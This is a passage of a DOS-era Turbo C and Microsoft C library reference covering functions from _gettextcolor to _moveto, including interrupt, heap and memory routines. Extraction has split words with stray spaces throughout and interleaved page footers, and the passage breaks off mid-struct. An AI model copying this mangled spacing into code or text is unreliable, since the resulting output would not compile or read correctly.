- r et ur ns st r i ng or NULL on end- of - f i l e or er r or

: _get t ext col or
^MSC: shor t f ar _get t ext col or ( voi d )


- pr ot ot ype i n gr aph. h

- r et ur ns cur r ent t ext col or val ue

: _get t ext posi t i on
^MSC: st r uct r ccoor d f ar _get t ext posi t i on( voi d )


- pr ot ot ype i n gr aph. h

- r et ur ns cur r ent t ext posi t i on vi a r ccoor d st r uct ur e:

st r uct r ccoor d
{
shor t r ow;
shor t col ;
};

: get t i me
^TC: voi d get t i me( st r uct t i me *t i mep )


- pr ot ot ype i n dos. h

- get s MS- DOS t i me i nt o t he f ol l owi ng dat a st r uct ur e:

st r uct t i me
{
unsi gned char t i _mi n;
unsi gned char t i _hour ;
Pagina 551 di 991
unsi gned char t i _hund;
unsi gned char t i _sec;
};

- MS C uses ~_dos_get t i me~( )

: get vect
^TC: voi d i nt er r upt ( *get vect ( i nt i nt r _num) ) ( )


- pr ot ot ype i n dos. h

- r et ur ns t he val ue of t he i nt er r upt vect or named by i nt r _num
- r et ur ns 4- byt e f ar poi nt er t o cur r ent i nt er r upt ser vi ce r out i ne
st or ed i n i nt er r upt vect or t abl e
- Exampl e:

voi d i nt er r upt ( *ol d_i nt _1c) ( ) ;

ol d_i nt _1c = get vect ( 0x1c ) ;

- MS C uses ~_dos_get vect ~( )
- see ~I NT 21, 35~
: get ver i f y
^TC: i nt get ver i f y( voi d )


- pr ot ot ype i n dos. h

- r et ur ns cur r ent st at e of ver i f y f l ag ( 0==of f , 1==on)
- see ~I NT 21, 54~
: _get vi deoconf i g
% MSC: st r uct vi deoconf i g f ar *_get vi deoconf i g(
% st r uct vi deoconf i g f ar *conf i g )

- pr ot ot ype i n gr aph. h

- r et ur ns vi deo conf i gur at i on i nf or mat i on vi a st r uct vi deoconf i g:

st r uct vi deoconf i g
{
shor t numxpi xel s; - pi xel s on X axi s
shor t numypi xel s; - pi xel s on Y axi s
shor t numt ext col s; - t ext col umns avai l abl e
shor t numt ext r ows; - t ext r ows avai l abl e
shor t numcol or s; - act ual col or s avai l abl e
shor t bi t sper pi xel ; - bi t s per pi xel
shor t numvi deopages; - avai l abl e vi deo page count
shor t mode; - cur r ent vi deo mode
shor t adapt er ; - act i ve di spl ay adapt er
shor t moni t or ; - act i ve di spl ay moni t or
shor t memor y; - adapt er vi deo memor y i n K
};

: get w
^i nt get w( FI LE *f p )


- pr ot ot ype i n st di o. h

- get s i nt eger f r omf i l e st r eamf p
- r et ur ns EOF ( - 1) on eof or er r or
- use f eof ( ) or f er r or ( ) t o ver i f y - 1 i s an i nt eger dat a wor d, and
Pagina 552 di 991
not an er r or r et ur n

: gmt i me
^st r uct t m*gmt i me( const t i me_t *cl ock )


- pr ot ot ype i n t i me. h

- cl ock i s a l ong i nt eger ( such as t hat r et ur ned by ~t i me~( ) )
- r et ur ns GMT t i me i n st r uct t m( see t i me. h) cor r ect i ng f or t i me
zone and any dayl i ght savi ngs t i me
- gl obal var i abl e t i mezone i s di f f er ence i n seconds bet ween GMT
and l ocal st andar d t i me

: gsi gnal
^i nt gsi gnal ( i nt si g )


- pr ot ot ype i n si gnal . h

- ssi gnal ( ) and gsi gnal ( ) i mpl ement a sof t war e- si gnal i ng f aci l i t y
wher e sof t war e si gnal s ar e i nt eger s 1- 15
- gsi gnal ( ) r ai ses t he si gnal gi ven by si g and execut es t he act i on
r out i ne
- gsi gnal ( ) r et ur ns val ue by act i on or SI G_I GN or SI G_DFL
- UNI X based
- see ~ssi gnal ~( )
: hal l oc
^MSC: voi d huge *hal l oc( l ong num, si ze_t si ze )


- pr ot ot ype i n mal l oc. h

- num= count of el ement s t o al l ocat e
- si ze = si ze of each el ement ; each el ement i s set t o zer o;
must be a power of 2 i f si ze i s over 128K
- al i gnment assur es compat i bi l i t y wi t h al l dat a t ypes ( par a)
- r et ur ns poi nt er t o al l ocat ed bl ock on success or NULL on f ai l ur e
- al l ocat es memor y di r ect l y f r omDOS

- see ~hf r ee~( )
: _har der r : _har dr esume: _har dr et n
% MSC: voi d _har dr esume( i nt r esul t )
% MSC: voi d _har dr et n( i nt er r or )
% MSC: voi d _har der r ( voi d ( f ar *handl er ) ( ) )

- pr ot ot ype i n dos. h

- r esul t = r et ur n val ue f r omhandl er
- er r or = number of er r or

- _har der r ( ) r egi st er s a user cr i t i cal er r or handl er wi t h i t ' s
own er r or handl er whi ch i s t o be cal l ed dur i ng a cr i t i cal er r or

- handl er = new ~I NT 24~ handl er wi t h t he f or mat :
handl er ( unsi gned dever r , unsi gned er r code, unsi gned f ar *devhdr )
wher e: dever r = devi ce er r or code ( AX val ue DOS passes t o I NT 24)
er r code = er r or code ( DI val ue DOS passes t o ~I NT 21~)
devhdr = poi nt er t o devi ce header on whi ch er r or occur r ed
- handl er must r et ur n vi a one of t hr ee met hods:
si mpl e r et ur n r et ur ns t o DOS er r or handl er
_har dr esume( ) r et ur ns t o DOS er r or handl er
_har dr et n( ) r et ur ns t o t he appl i cat i on
Pagina 553 di 991

- har dr esume( ) r et ur ns one of t he f ol l owi ng:
_HARDERR_ABORT DOS shoul d abor t t he pr ocess vi a ~I NT 23~
_HARDERR_FAI L DOS shoul d f ai l t he cal l ( DOS 3. x+)
_HARDERR_I GNORE DOS shoul d i gnor e t he er r or
_HARDERR_RETRY DOS shoul d r et r y t he oper at i on
- due t o t he compl exi t y of t hese f unct i ons consul t t he vendor
document at i on f or mor e speci f i c det ai l s

- Tur bo C uses ~har dr et n~( ) , ~har der r ~( ) and ~har dr esume~( )
- see ~I NT 24~
: har der r
^TC: voi d har der r ( i nt ( *f pt r ) ( ) )

- pr ot ot ype i n dos. h

- har der r ( ) est abl i shes a har dwar e er r or handl er f or cur r ent
pr ogr am, i nvoked wher ever i nt er r upt 0x24 occur s
- f unct i on f pt r i s cal l ed when such an i nt er r upt occur s
- handl er f unct i on wi l l be cal l ed wi t h t he f ol l owi ng
ar gument s= handl er ( i nt er r val , i nt ax, i nt bp, i nt si )
wher e er r val i s er r or code i n DI r egi st er by MS- DOS, and
ax, bp, si ar e val ues MS- DOS has i n AX, BP, and SI r egs
- ax i ndi cat es i f di sk or ot her devi ce er r or occur s; i f ax i s
not negat i ve, t hen di sk er r or , el se devi ce er r or . For di sk
er r or , ax ANDed wi t h 0x00f f wi l l gi ve bad dr i ve number
- bp and si t oget her poi nt t o devi ce dr i ver header
- har dr esume( ) may be cal l ed wi t h r escode t o r et ur n
t o MS- DOS, wher e r escode i s

2 - f or abor t
1 - r et r y
0 - i gnor e

- ~har dr t n~( ) may be cal l ed t o r et ur n di r ect l y t o t he appl i cat i on
- handl er must r et ur n:

0 - i gnor e
1 - r et r y
2 - abor t

- handl er may i ssue DOS cal l s 1 t hr ough 0xC, but no ot her s, and
no C st andar d I / O or UNI X I / O cal l s may be used
- MS C uses _har der r ( )

- see ~har dr esume~( ) ~har dr et n~( ) ~I NT 24~
: har dr esume
^TC: voi d har dr esume( i nt r escode )


- pr ot ot ype i n dos. h

- har dr esume( ) may be cal l ed wi t h r escode t o r et ur n t o DOS,
wher e r escode i s:

2 - abor t
1 - r et r y
0 - i gnor e

- MS C uses ~_har dr esume~( )
- see ~har der r ~( )
: har dr et n
^TC: voi d har dr et n( i nt er r code )
Pagina 554 di 991


- pr ot ot ype i n dos. h

- har dr et n( ) may be cal l ed t o r et ur n di r ect l y t o t he appl i cat i on
- MS C uses _har dr et n
- see ~har der r ~( )
: _heapchk: _bheapchk: _f heapchk: _nheapchk
% MSC: i nt _heapchk( voi d )
% MSC: i nt _bheapchk( _segment seg )
% MSC: i nt _f heapchk( voi d )
% MSC: i nt _nheapchk( voi d )


- pr ot ot ype i n mal l oc. h

- r uns consi st ency check on di f f er ent heaps
- heapchk maps t o t he ot her f unct i ons dependi ng on memor y model

- r et ur ns one of t he f ol l owi ng:

_HEAPOK heap i s ok
_HEAPBADBEGI N i ni t i al s al l ocat i on header coul dn' t be f ound
_HEAPBADNODE heap/ node has been damaged
_HEAPEMPTY heap has not been i ni t i al i zed

- see ~heapset ~( ) ~heapwal k~( )
: _heapset : _bheapset : _f heapset : _nheapset
% MSC: i nt _heapset ( unsi gned f i l l )
% MSC: i nt _bheapset ( _segment seg, unsi gned f i l l )
% MSC: i nt _f heapset ( unsi gned f i l l )
% MSC: i nt _nheapset ( unsi gned f i l l )


- pr ot ot ype i n mal l oc. h

- heapset maps t o t he ot her f unct i ons dependi ng on memor y model
- f i r st check heap consi st ency vi a ~heapchk~( ) t hen f i l l s memor y
wi t h val ue speci f i ed i n " f i l l "

- r et ur ns one of t he f ol l owi ng:

_HEAPOK heap i s ok
_HEAPBADBEGI N i ni t i al s al l ocat i on header coul dn' t be f ound
_HEAPBADNODE heap/ node has been damaged
_HEAPEMPTY heap has not been i ni t i al i zed

- see ~heapchk~( ) ~heapwal k~( )
: _heapwal k: _bheapwal k: _f heapwal k: _nheapwal k
% MSC: i nt _heapwal k( st r uct _heapi nf o *ent r y )
% MSC: i nt _bheapwal k( _segment seg, st r uct _heapi nf o *ent r y )
% MSC: i nt _f heapwal k( st r uct _heapi nf o *ent r y )
% MSC: i nt _nheapwal k( st r uct _heapi nf o *ent r y )

- pr ot ot ype i n mal l oc. h

- wal ks t he heap f or each ent r y speci f i ed and r et ur ns i nf or mat i on
about t he ent r y vi a t he ot her f i el ds of t he _heapi nf o st r uct ur e
- heapwal k maps t o t he ot her f unct i ons dependi ng on memor y model
- r et ur ns one of t he f ol l owi ng:

_HEAPOK heap i s ok
_HEAPBADBEGI N i ni t i al s al l ocat i on header coul dn' t be f ound
Pagina 555 di 991
_HEAPBADNODE heap/ node has been damaged
_HEAPEMPTY heap has not been i ni t i al i zed
_HEAPBADPTR par amet er does not cont ai n val i d poi nt er t o heap
_HEAPEND end of hel p f ound w/ o pr obl em

st r uct _heapi nf o
{
i nt _f ar *_pent r y; - heap ent r y poi nt er
si ze_t _si ze; - si ze of heap ent r y
i nt _usef l ag; - ent r y i n use r et ur n val ue
};

- see ~heapchk~( ) ~heapset ~( )
: hf r ee
^MSC: voi d hf r ee( voi d huge *bl ock )


- pr ot ot ype i n mal l oc. h

- bl ock = poi nt er t o bl ock of al l ocat ed memor y
- memor y i s r et ur ned t o DOS
- f r eei ng an unal l ocat ed bl ock wi l l cor r upt t he DOS' s ~MCB~ chai n

- see ~hal l oc~( )
: hypot
^doubl e hypot ( doubl e x, doubl e y )

- pr ot ot ype i n mat h. h

- r et ur ns z wher e z**2 = x**2 + y**2, or HUGE_VAL on er r or

: i magesi ze
^unsi gned f ar i magesi ze( i nt l ef t , i nt t op, i nt r i ght , i nt bot t om)


- pr ot ot ype i n gr aphi cs. h

- r et ur ns t he si ze of t he buf f er r equi r ed t o hol d t he scr een i mage
r epr esent ed by t he coor di nat es
- r et ur ns si ze or 0xFFFF on er r or ( i mage >= 64K- 1)

: i np: i npw
% MSC: i nt i np( unsi gned por t )
% MSC: unsi gned i npw( unsi gned por t )


- pr ot ot ype i n coni o. h

- por t = har dwar e I / O por t 0- 3FFh
- r et ur ns byt e or wor d dat a r ead f r ompor t

: i npor t
^TC: i nt i npor t ( i nt por t )


- pr ot ot ype i n dos. h

- i npor t ( ) r eads wor d f r omi nput por t por t
- MS C uses ~i npw~( )
- see ~i npor t b~( )
: i npor t b
^TC: unsi gned char i npor t b( i nt por t )

Pagina 556 di 991

- pr ot ot ype i n dos. h

- i npor t b( ) i s macr o t hat r eads a byt e f r omhar dwar e por t ' por t '
- MS C uses ~i np~( )
- see ~i npor t ~( )
: i nt 86
^i nt i nt 86( i nt i nt r _num, uni on REGS *i nr egs, uni on REGS *out r egs )


- pr ot ot ype i n dos. h

- execut es 8086 sof t war e i nt er r upt speci f i ed by i nt r _num
- copi es r egi st er val ues f r omi nr egs i nt o t he r egi st er s
- i f CF i s set , an er r or has occur r ed
- pr eser ves SP r egi st er so cal l s t o ~I NT 25~ and ~I NT 26~ vi a t hi s
f unct i on don' t r equi r e a st ack adj ust ment
- uni que t o DOS
- see ~i nt 86x~( ) ~i nt dos~( ) ~i nt dosx~( ) ~i nt r ~( ) ~REGS~
: i nt 86x
% i nt i nt 86x( i nt i nt r _num, uni on REGS *i nr egs,
% uni on REGS *out r egs, st r uct SREGS *segr egs )


- pr ot ot ype i n dos. h

- Execut es 8086 sof t war e i nt er r upt speci f i ed by i nt r _num
- Copi es r egi st er val ues f r omi nr egs i nt o t he r egi st er s
- al so copi es segr egs- >x. ds and segr egs- >y. es i nt o DS/ ES
- i f CF i s set , an er r or has occur r ed
- pr eser ves SP r egi st er so cal l s t o ~I NT 25~ and ~I NT 26~ vi a t hi s
f unct i on don' t r equi r e a st ack adj ust ment
- uni que t o DOS
- see ~i nt 86~( ) ~i nt dos~( ) ~i nt dosx~( ) ~i nt r ~( ) ~REGS~
: i nt dos
^i nt i nt dos( uni on REGS *i nr egs, uni on REGS *out r egs )


- pr ot ot ype i n dos. h

- Execut es 8086 sof t war e i nt er r upt ~I NT 21~
- Copi es r egi st er val ues f r omi nr egs i nt o t he r egi st er s
- i f CF i s set , an er r or has occur r ed
- uni que t o DOS
- see ~i nt dosx~( ) ~i nt 86~( ) ~i nt 86x~( ) ~i nt r ~( ) ~REGS~
: i nt dosx
% i nt i nt dosx( uni on REGS *i nr egs, uni on REGS *out r egs,
% st r uct SREGS *segr egs )


- pr ot ot ype i n dos. h

- execut es 8086 sof t war e i nt er r upt ~I NT 21~
- copi es r egi st er val ues f r omi nr egs i nt o t he r egi st er s
- copi es segr egs- >x. ds and segr egs- >y. es i nt o DS/ ES
- i f CF i s set , an er r or has occur r ed
- uni que t o DOS
- see ~i nt dos~( ) ~i nt 86~( ) ~i nt 86x~( ) ~i nt r ~( ) ~REGS~
: i nt r
^TC: voi d i nt r ( i nt i nt r _num, st r uct REGPACK *pr eg )


- pr ot ot ype i n dos. h
Pagina 557 di 991

- same as ~i nt 86~( ) except t hat pr eg cont ai ns r egi st er s val ues
bot h bef or e & af t er execut i ng i nt er r upt
- pr eser ves SP r egi st er so cal l s t o ~I NT 25~ and ~I NT 26~ vi a t hi s
f unct i on don' t r equi r e a st ack adj ust ment
- see ~i nt 86x~( ) ~i nt dos~( ) ~i nt dosx~( ) ~REGS~
: i oct l
^TC: i nt i oct l ( i nt handl e, i nt cmd [ , voi d *ar gdx, i nt ar gcx] )

- pr ot ot ype i n i o. h

- di r ect i nt er f ace t o ~I NT 21, 44~ ( I OCTL)
- cmd = 0 get devi ce i nf or mat i on
1 set devi ce i nf or mat i on ( i n ar gdx)
2 r ead ar gcx byt es i nt o addr gi ven by ar gdx
3 wr i t e ar gcx byt es f r omaddr gi ven by ar gdx
4 same as 2, but handl e t r eat ed as dr i ve ( 0=def . , 1=A)
5 same as 3, but handl e t r eat ed as dr i ve ( 0=def . , 1=A)
6 get i nput st at us
7 get out put st at us
8 t est r emovabi l i t y ( DOS 3. x)
11 set shar i ng conf l i ct r et r y count ( DOS 3. x)
- cmd = 0, 1; r et ur ns devi ce i nf or mat i on ( DX of I OCTL cal l )
- cmd = 2- 5; r et ur ns count of byt es t r ansf er r ed
- cmd = 6, 7; r et ur ns devi ce st at us
- r et ur ns - 1 on er r or & er r no = EI NVAL, EBADF, or EI NVDAT
- no cor r espondi ng f unct i on i n MS C
: i s. . . : i sal num: i sal pha: i sasci i : i scnt r l : i sdi gi t : i sgr aph: i sl ower
^Char act er Test Macr os

i nt i sal num( i nt c ) - nonzer o i f l et t er or di gi t
i nt i sal pha( i nt c ) - nonzer o i f l et t er
i nt i sasci i ( i nt c ) - nonzer o i f i n r ange 0- 127
i nt i scnt r l ( i nt c ) - nonzer o i f 0x7F, or 0x00- 0x1F
i nt i sdi gi t ( i nt c ) - nonzer o i f di gi t
i nt i sgr aph( i nt c ) - nonzer o i f pr i nt abl e 0x21- 0x7E excl space
i nt i sl ower ( i nt c ) - nonzer o i f l ower case
i nt i spr i nt ( i nt c ) - nonzer o i f pr i nt abl e 0x20- 0x7E
i nt i spunct ( i nt c ) - nonzer o i f punct char ( i scnt r l | i sspace)
i nt i sspace( i nt c ) - nonzer o i f space, t ab, CR, LF, VT or FF
i nt i supper ( i nt c ) - nonzer o i f upper case
i nt i sxdi gi t ( i nt c ) - nonzer o i f hexadeci mal di gi t


- pr ot ot ype i n ct ype. h
: i spr i nt : i spunct : i sspace: i supper : i sxdi gi t
^Char act er Test Macr os

i nt i sal num( i nt c ) - nonzer o i f l et t er or di gi t
i nt i sal pha( i nt c ) - nonzer o i f l et t er
i nt i sasci i ( i nt c ) - nonzer o i f i n r ange 0- 127
i nt i scnt r l ( i nt c ) - nonzer o i f 0x7F, or 0x00- 0x1F
i nt i sdi gi t ( i nt c ) - nonzer o i f di gi t
i nt i sgr aph( i nt c ) - nonzer o i f pr i nt abl e 0x21- 0x7E excl space
i nt i sl ower ( i nt c ) - nonzer o i f l ower case
i nt i spr i nt ( i nt c ) - nonzer o i f pr i nt abl e 0x20- 0x7E
i nt i spunct ( i nt c ) - nonzer o i f punct char ( i scnt r l | i sspace)
i nt i sspace( i nt c ) - nonzer o i f space, t ab, CR, LF, VT or FF
i nt i supper ( i nt c ) - nonzer o i f upper case
i nt i sxdi gi t ( i nt c ) - nonzer o i f hexadeci mal di gi t


- pr ot ot ype i n ct ype. h
Pagina 558 di 991
: i sat t y
^i nt i sat t y( i nt handl e )


- pr ot ot ype i n i o. h

- i f handl e i s associ at ed wi t h a char act er devi ce l i ke t t y,
consol e, pr i nt er , or ser i al por t r et ur ns a non- zer o i nt eger
ot her wi se r et ur ns zer o

: i t oa
^char *i t oa( i nt val ue, char *st r i ng, i nt r adi x )


- pr ot ot ype i n st dl i b. h

- conver t s val ue t o st r i ng wher e r adi x speci f i es base ( 2- 36)

: kbhi t
^i nt kbhi t ( voi d )


- pr ot ot ype i n coni o. h

- r et ur ns nonzer o i f keyst r oke avai l abl e el se 0

: keep
^TC: voi d keep( unsi gned char st at us, i nt si ze )


- pr ot ot ype i n dos. h

- keep( ) r et ur ns t o MS- DOS wi t h exi t st at us suppl i ed i n st at us,
r et ai ni ng cur r ent pr ogr amr esi dent i n memor y wi t h si ze par as and
r est of memor y f r eed
- MS C uses ~_dos_keep~( )
- see ~I NT 21, 31~
: l abs
^l ong l abs( l ong n )


- pr ot ot ype i n st dl i b. h

- r et ur ns absol ut e l ong val ue of n

: l dexp
^doubl e l dexp( doubl e val ue, i nt exp )


- pr ot ot ype i n mat h. h

- r et ur ns val ue x 2**exp

: l f i nd
^voi d *l f i nd( voi d *key, voi d *base, i nt *nel em, i nt wi dt h, i nt ( *f cmp) ( ) )


- pr ot ot ype i n st dl i b. h

- does l i near sear ch f or i t ems i n an unsor t ed t abl e;
- base poi nt s t o 0t h el ement of t abl e
- nel empoi nt s t o i nt cont ai ni ng number of ent r i es i n t abl e
- wi dt h cont ai ns number of byt es i n each ent r y
Pagina 559 di 991
- key poi nt s t o t he sear ch key
- f cmp poi nt s t o user - wr i t t en compar i son r out i ne, wher e key and
el emar e passed t o i t as poi nt er s. f cmp r et ur ns:

i nt eger < 0 i f sear ch key < el em
i nt eger = 0 i f equal
i nt eger > 0 i f sear ch key > el em

- r et ur ns 0 i f no mat ch f ound, el se addr ess of f i r st mat chi ng ent r y

: _l i net o: _l i net o_w
% MSC: shor t f ar _l i net o( shor t x, shor t y )
% MSC: shor t f ar _l i net o_w( doubl e wx, doubl e wy )


- pr ot ot ype i n gr aph. h

- dr aws a l i ne f r omt he cur r ent gr aphi cs posi t i on up t o and
i ncl udi ng t he poi nt speci f i ed
- cur r ent gr aphi cs posi t i on i s t hen updat ed t o ( x, y)
- r et ur ns nonzer o i f success; zer o ot her wi se
- Tur bo C uses ~l i net o~( )

: l ocal t i me
^st r uct t m*l ocal t i me( const t i me_t *cl ock )


- pr ot ot ype i n t i me. h


- cl ock i s a l ong i nt ( such as t hat r et ur ned by t i me( ) )
- r et ur ns t i me i n st r uct t m( see t i me. h) cor r ect i ng f or t i me zone
and any dayl i ght savi ngs t i me
- gl obal var i abl e t i mezone i s di f f er ence i n seconds bet ween GMT
and l ocal st andar d t i me

: l ock ( C)
^TC: i nt l ock( i nt handl e, l ong of f set , l ong l engt h )


- pr ot ot ype i n i o. h

- l ocks ar bi t r ar y, non- over l appi ng r egi ons of any f i l e ( DOS 3. X) ,
pr event i ng r eads/ wr i t es t o t hose r egi ons
- r et ur ns 0 on success, el se - 1 on er r or
- al l l ocks must be r el eased bef or e pr ogr amt er mi nat i on
- MS C uses ~l ocki ng~( )
- see ~unl ock~( )
: l ocki ng
^MSC: i nt l ocki ng( i nt handl e, i nt mode, l ong nbyt es )


- pr ot ot ype i n i o. h, sys\ l ocki ng. h

- handl e = opened f i l e handl e
- nbyt es = byt es t o l ock begi nni ng wi t h cur r ent f i l e posi t i on
- mode = l ocki ng mode:
= LK_LOCK l ock r egi on; on f ai l ur e wai t s 1 sec and
at t empt s agai n; t r i es 10 t i mes
= LK_RLCK same as LK_LOCK
= LK_NBLCK l ock r egi on; r et ur ns i mmedi at el y on er r or
= LK_NBRLCK l ock r egi on; r et ur ns i mmedi at el y on er r or
= LK_UNLCK unl ock pr evi ousl y l ocked r egi on
Pagina 560 di 991

- mul t i pl e l ocks may occur i n a si ngl e f i l e
- over l appi ng l ocked r egi ons ar e not al l owed
- r et ur ns 0 on success or - 1 on f ai l ur e

- Tur bo C uses ~l ock~( ) and ~unl ock~( )
: l og
^doubl e l og( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns nat ur al l ogar i t hmof x, or - HUGE_VAL on er r or

: l og10
^doubl e l og10( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns base 10 l ogar i t hmof x, or - HUGE_VAL on er r or

: l ongj mp
^voi d l ongj mp( j mp_buf env, i nt i d )


- pr ot ot ype i n set j mp. h

- cal l t o l ongj mp( ) wi t h env r est or es t ask st at e ( set by ~set j mp~( ) ) ,
r et ur ni ng val ue i d
- cannot r et ur n 0; i f i d == 0, r et ur ns 1
: _l r ot l : _l r ot r
^MSC: unsi gned l ong _l r ot l ( unsi gned l ong val ue, i nt n )
^MSC: unsi gned l ong _l r ot r ( unsi gned l ong val ue, i nt n )


- pr ot ot ype i n st dl i b. h

- r ot at es l ong val ue by ' n' bi t s l ef t or r i ght
- r et ur ns r ot at ed val ue

- see ~_r ot l ~( ) ~_r ot r ~( )
: l sear ch
^voi d *l sear ch( voi d *key, voi d *base, i nt *nel em, i nt wi dt h, i nt ( *f cmp) ( ) )


- pr ot ot ype i n st dl i b. h

- does l i near sear ch i n unsor t ed t abl e f or key
- base poi nt s t o 0t h el ement of t abl e
- nel emi nt eger poi nt er t o number of ent r i es i n t abl e
- wi dt h cont ai ns number of byt es i n each ent r y
- key poi nt s t o t he sear ch key
- f cmp poi nt s t o compar i son r out i ne, wher e key and el emar e passed
t o i t as poi nt er s. f cmp r et ur ns:

i nt eger < 0 i f sear ch key < el em
i nt eger = 0 i f equal ;
i nt eger > 0 i f sear ch key > el em

- r et ur ns 0 i f no mat ch f ound, el se addr ess of f i r st mat chi ng ent r y

: l seek
Pagina 561 di 991
^l ong l seek( i nt handl e, l ong of f set , i nt mode )


- pr ot ot ype i n i o. h

- moves f i l e posi t i on of " handl e" t o " of f set " r el at i ve t o " mode"

mode = 0 - SEEK_SET begi nni ng of f i l e
mode = 1 - SEEK_CUR cur r ent posi t i on
mode = 2 - SEEK_END or end of f i l e

- r et ur ns - 1L on er r or

- see ~t el l ~( )
: l t oa
^char *l t oa( l ong val ue, char *st r i ng, i nt r adi x )


- pr ot ot ype i n st dl i b. h

- conver t s val ue t o st r i ng wher e r adi x speci f i es
base ( 2- 36) f or conver si on

: _makepat h
% MSC: voi d _makepat h( char *pat h, char *dr i ve, char *di r ,
% char *f name, char *ext )


- pr ot ot ype i n st dl i b. h

- cr eat es f ul l y qual i f i ed f i l ename f r ompar t s
- pat h = r ecei ves f ul l y qual i f i ed f i l ename cr eat ed f r omt he par t s
- dr i ve = dr i ve l et t er st r i ng, wi t h or wi t hout t he col on
- di r = di r ect or y name; bot h sl ashes ' / ' or ' \ ' ar e al l owed;
t r ai l i ng sl ash i s opt i onal
- f name = base f i l e name w/ o ext ensi on ( max 8 byt es)
- ext = f i l e ext ensi on ( max 3 byt es)

- see ~_spl i t pat h~( )
: mal l oc
^voi d *mal l oc( unsi gned si ze )


- pr ot ot ype i n st dl i b. h, al l oc. h ( mal l oc. h f or MS C)

- al l ocat es memor y of l engt h si ze i n byt es
- r et ur ns poi nt er i f successf ul , el se NULL
- MS C wi l l r et ur n a zer o l engt h bl ock ( al l ocat es header onl y)

: _mat her r
% doubl e _mat her r ( _mexcep why, char *f un, doubl e *ar g1p,
% doubl e *ar g2p, doubl e r et val )


- pr ot ot ype i n mat h. h

- used wi t h ~mat her r ~( ) , cal l i ng mat her r ( ) and pr ocesses t he r et ur n
val ue f r ommat her r ( )
- f l oat i ng poi nt er r or handl i ng r out i ne

: mat her r
^i nt mat her r ( st r uct except i on *e )

Pagina 562 di 991

- pr ot ot ype i n mat h. h

- pr ovi ded as cust omi zabl e mat h er r or - handl i ng r out i ne

: mem. . .
^Memor y Mani pul at i on Funct i ons


voi d *memccpy( voi d *dest , const voi d *sr c, i nt c, si ze_t n )
voi d *memchr ( const voi d *s, i nt c, si ze_t n )
i nt memcmp( const voi d *s1, const voi d *s2, si ze_t n )
voi d *memcpy( voi d *dest , const voi d *sr c, si ze_t n )
i nt memi cmp( const voi d *s1, const voi d *s2, si ze_t n )
voi d *memmove( voi d *dest , const voi d *sr c, si ze_t n )
voi d *memset ( voi d *s, i nt c, si ze_t n )
voi d movedat a( unsi gned sr cseg, unsi gned sr cof f ,
unsi gned dst seg, unsi gned dst of f , si ze_t n )

- pr ot ot ypes f or t he pr ecedi ng f unct i ons ar e i n mem. h, st r i ng. h
- t he f ol l owi ng ar e pr ot ot yped i n mem. h onl y ( TC) :

voi d movmem( voi d *sr c, voi d *dest , unsi gned l engt h ) ; ( mem. h onl y)
voi d set mem( voi d *dest , unsi gned l engt h, char val ue ) ; ( mem. h onl y)


: _memavl
^MSC: si ze_t _memavl ( voi d )


- pr ot ot ype i n mal l oc. h

- r et ur ns si ze i n byt es of memor y avai l abl e i n t he def aul t
dat a segment

: memccpy
^voi d *memccpy( voi d *dest , const voi d *sr c, i nt ch, si ze_t n)


- pr ot ot ype i n st r i ng. h, mem. h

- copi es f r omsr c t o dest unt i l ch i s copi ed or n byt es ar e copi ed
r et ur ni ng a pt r t o byt e i n dest i mmedi at el y f ol l owi ng ch or NULL

: memchr
^voi d *memchr ( const voi d *s, i nt ch, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- sear ches f i r st n byt es i n s f or ch, r et ur ni ng poi nt er t o f i r st
occur r ence or NULL i f not f ound

: memcmp
^i nt memcmp( const voi d *s1, const voi d *s2, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- compar es t wo st r i ngs s1 & s2 f or a l engt h of n byt es,
r et ur ni ng a val ue:

< 0 i f s1 < s2
Pagina 563 di 991
= 0 i f s1 = s2
> 0 i f s1 > s2

: memcpy
^voi d *memcpy( voi d *dest , const voi d *sr c, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- copi es n byt es f r omsr c t o dest ; r et ur ns dest
- i f over l ap occur s, r esul t i s undef i ned ( ANSI )

: memi cmp
^i nt memi cmp( const voi d *s1, const voi d *s2, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- compar es f i r st n byt es of s1 & s2, case i nsensi t i ve

: memmove
^voi d *memmove( voi d *dest , const voi d *sr c, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- copi es n byt es f r omsr c t o dest ; r et ur ns dest
- al l ows copyi ng over l apped st r i ngs ( ANSI )

: memset
^voi d *memset ( voi d *s, i nt ch, si ze_t n )


- pr ot ot ype i n st r i ng. h, mem. h

- memset set s al l byt es of s t o byt e ch, wi t h si ze of s = n;
r et ur ns val ue of s

: mk_f p
^voi d f ar *MK_FP( unsi gned segment , unsi gned of f set )


- pr ot ot ype i n dos. h

- r et ur ns a f ar poi nt er f r omof f set and segment



- not avai l abl e i n some Mi cr osof t C ver si ons; use t he f ol l owi ng:


#def i ne MK_FP( seg, of f ) \
( ( voi d f ar *) ( ( ( unsi gned l ong) ( seg) << 16) | ( unsi gned) ( of f ) )

- see ~FP_OFF~( ) and ~FP_SEG~( )
: mkdi r
^i nt mkdi r ( const char *pat hname )


- pr ot ot ype i n di r . h

- t akes pat hname & cr eat es new di r ect or y wi t h t hat name
- r et ur ns 0 i f successf ul , el se - 1
Pagina 564 di 991

: mkt emp
^char *mkt emp( char *t empl at e )


- pr ot ot ype i n di r . h

- r epl aces t empl at e by uni que f i l e name & r et ur ns addr ess of
t empl at e i f successf ul
- t empl at e shoul d be st r i ng wi t h si x t r ai l i ng Xs

: modf
^doubl e modf ( doubl e val ue, doubl e *i pt r )


- pr ot ot ype i n mat h. h

- spl i t s val ue i n i nt eger and f r act i on par t , st or i ng i nt eger par t
i n ar ea poi nt ed t o by i pt r , r et ur ni ng t he f r act i onal par t

: movedat a
% voi d movedat a( unsi gned segsr c, unsi gned of f sr c,
% unsi gned segdest , unsi gned of f dest , si ze_t n )


- pr ot ot ype i n mem. h, st r i ng. h

- copi es n byt es f r omsegsr c: of f sr c t o segdest : of f dest

: _movet o: _movet o_w
% MSC: st r uct xycoor d f ar _movet o( shor t x, shor t y )
% MSC: st r uct _wxycoor d f ar _movet o_w ( doubl e wx, doubl e wy )


- pr ot ot ype i n gr aph. h

- moves cur r ent dr awi ng posi t i on t o speci f i ed coor di nat es
- r et ur ns pr evi ous coor di nat es i n t he f ol l owi ng st r uct ur es:

st r uct xycoor d st r uct _wxycoor d
{ {
